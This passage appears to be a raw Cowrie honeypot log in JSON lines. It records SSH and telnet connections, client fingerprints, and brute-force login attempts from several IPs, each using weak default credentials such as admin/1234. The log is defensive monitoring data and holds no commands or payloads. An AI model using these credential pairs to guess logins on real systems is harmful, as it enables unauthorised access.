{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:09.037377Z","src_ip":"34.100.248.63","session":"b1656245d2b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tab","password":"123456","message":"login attempt [tab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:10.033739Z","src_ip":"34.100.248.63","session":"b1656245d2b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:11.285661Z","src_ip":"34.100.248.63","session":"b1656245d2b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":36752,"dst_ip":"159.203.135.109","dst_port":22,"session":"67ece50456e1","protocol":"ssh","message":"New connection: 209.227.244.120:36752 (159.203.135.109:22) [session: 67ece50456e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:37.925909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:37.929417Z","src_ip":"209.227.244.120","session":"67ece50456e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:38.017216Z","src_ip":"209.227.244.120","session":"67ece50456e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"electronics","password":"123456","message":"login attempt [electronics/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:38.405944Z","src_ip":"209.227.244.120","session":"67ece50456e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:39.495976Z","src_ip":"209.227.244.120","session":"67ece50456e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.39820742607117,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:40.137237Z","src_ip":"172.81.62.90","session":"b93772e33b5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":58640,"dst_ip":"10.17.0.5","dst_port":22,"session":"f385363d35dd","protocol":"ssh","message":"New connection: 182.93.50.90:58640 (10.17.0.5:22) [session: f385363d35dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:57.911361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:57.914987Z","src_ip":"182.93.50.90","session":"f385363d35dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:58.133344Z","src_ip":"182.93.50.90","session":"f385363d35dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"len","password":"len","message":"login attempt [len/len] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:59.050892Z","src_ip":"182.93.50.90","session":"f385363d35dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:54:00.274831Z","src_ip":"182.93.50.90","session":"f385363d35dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":59646,"dst_ip":"159.203.135.109","dst_port":22,"session":"89358a3bd6f1","protocol":"ssh","message":"New connection: 91.92.40.4:59646 (159.203.135.109:22) [session: 89358a3bd6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:54:02.881280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:54:02.947375Z","src_ip":"91.92.40.4","session":"89358a3bd6f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:54:03.169457Z","src_ip":"91.92.40.4","session":"89358a3bd6f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:54:03.559904Z","src_ip":"91.92.40.4","session":"89358a3bd6f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:54:04.658548Z","src_ip":"91.92.40.4","session":"89358a3bd6f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58482,"dst_ip":"159.203.135.109","dst_port":23,"session":"867392271f70","protocol":"telnet","message":"New connection: 128.199.8.54:58482 (159.203.135.109:23) [session: 867392271f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:54:28.501199Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":52176,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4b799fc54dc","protocol":"ssh","message":"New connection: 209.227.244.120:52176 (159.203.135.109:22) [session: a4b799fc54dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:03.806821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:03.813464Z","src_ip":"209.227.244.120","session":"a4b799fc54dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:03.903308Z","src_ip":"209.227.244.120","session":"a4b799fc54dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"democms","password":"123456","message":"login attempt [democms/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:04.298550Z","src_ip":"209.227.244.120","session":"a4b799fc54dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:05.390395Z","src_ip":"209.227.244.120","session":"a4b799fc54dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60490,"dst_ip":"159.203.135.109","dst_port":23,"session":"909cd0d8efb0","protocol":"telnet","message":"New connection: 128.199.8.54:60490 (159.203.135.109:23) [session: 909cd0d8efb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:14.602015Z"}
{"eventid":"cowrie.session.closed","duration":0.0048389434814453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:14.606600Z","src_ip":"128.199.8.54","session":"909cd0d8efb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":34080,"dst_ip":"10.17.0.5","dst_port":22,"session":"4966df05b8a5","protocol":"ssh","message":"New connection: 34.100.248.63:34080 (10.17.0.5:22) [session: 4966df05b8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:15.063384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:15.067032Z","src_ip":"34.100.248.63","session":"4966df05b8a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:15.297364Z","src_ip":"34.100.248.63","session":"4966df05b8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kariyer","password":"123456","message":"login attempt [kariyer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:16.296005Z","src_ip":"34.100.248.63","session":"4966df05b8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:17.537405Z","src_ip":"34.100.248.63","session":"4966df05b8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42802,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5e58ff9249d","protocol":"telnet","message":"New connection: 172.81.62.90:42802 (159.203.135.109:23) [session: d5e58ff9249d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:54.162871Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43602,"dst_ip":"159.203.135.109","dst_port":23,"session":"541e2f39e468","protocol":"telnet","message":"New connection: 172.81.62.90:43602 (159.203.135.109:23) [session: 541e2f39e468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:55:58.399271Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":52610,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7520604a93","protocol":"telnet","message":"New connection: 94.23.66.112:52610 (10.17.0.5:23) [session: 2b7520604a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:08.418143Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":41454,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8c71d1ff6d0","protocol":"ssh","message":"New connection: 91.92.40.4:41454 (159.203.135.109:22) [session: f8c71d1ff6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:15.003531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:15.037338Z","src_ip":"91.92.40.4","session":"f8c71d1ff6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38182,"dst_ip":"159.203.135.109","dst_port":23,"session":"747cea1295c6","protocol":"telnet","message":"New connection: 128.199.8.54:38182 (159.203.135.109:23) [session: 747cea1295c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:15.110872Z"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:15.129323Z","src_ip":"91.92.40.4","session":"f8c71d1ff6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:15.732137Z","src_ip":"91.92.40.4","session":"f8c71d1ff6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:16.871140Z","src_ip":"91.92.40.4","session":"f8c71d1ff6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44258,"dst_ip":"159.203.135.109","dst_port":23,"session":"1143e5e7f8f2","protocol":"telnet","message":"New connection: 172.81.62.90:44258 (159.203.135.109:23) [session: 1143e5e7f8f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:21.695952Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":53978,"dst_ip":"10.17.0.5","dst_port":23,"session":"e31f79836d07","protocol":"telnet","message":"New connection: 94.23.66.112:53978 (10.17.0.5:23) [session: e31f79836d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:22.638209Z"}
{"eventid":"cowrie.session.closed","duration":120.00200963020325,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:28.503045Z","src_ip":"128.199.8.54","session":"867392271f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46848,"dst_ip":"159.203.135.109","dst_port":23,"session":"78cf2b1c31d8","protocol":"telnet","message":"New connection: 128.199.8.54:46848 (159.203.135.109:23) [session: 78cf2b1c31d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:29.582529Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":38398,"dst_ip":"159.203.135.109","dst_port":22,"session":"8015626243b7","protocol":"ssh","message":"New connection: 209.227.244.120:38398 (159.203.135.109:22) [session: 8015626243b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:32.738357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:56:32.743204Z","src_ip":"209.227.244.120","session":"8015626243b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256",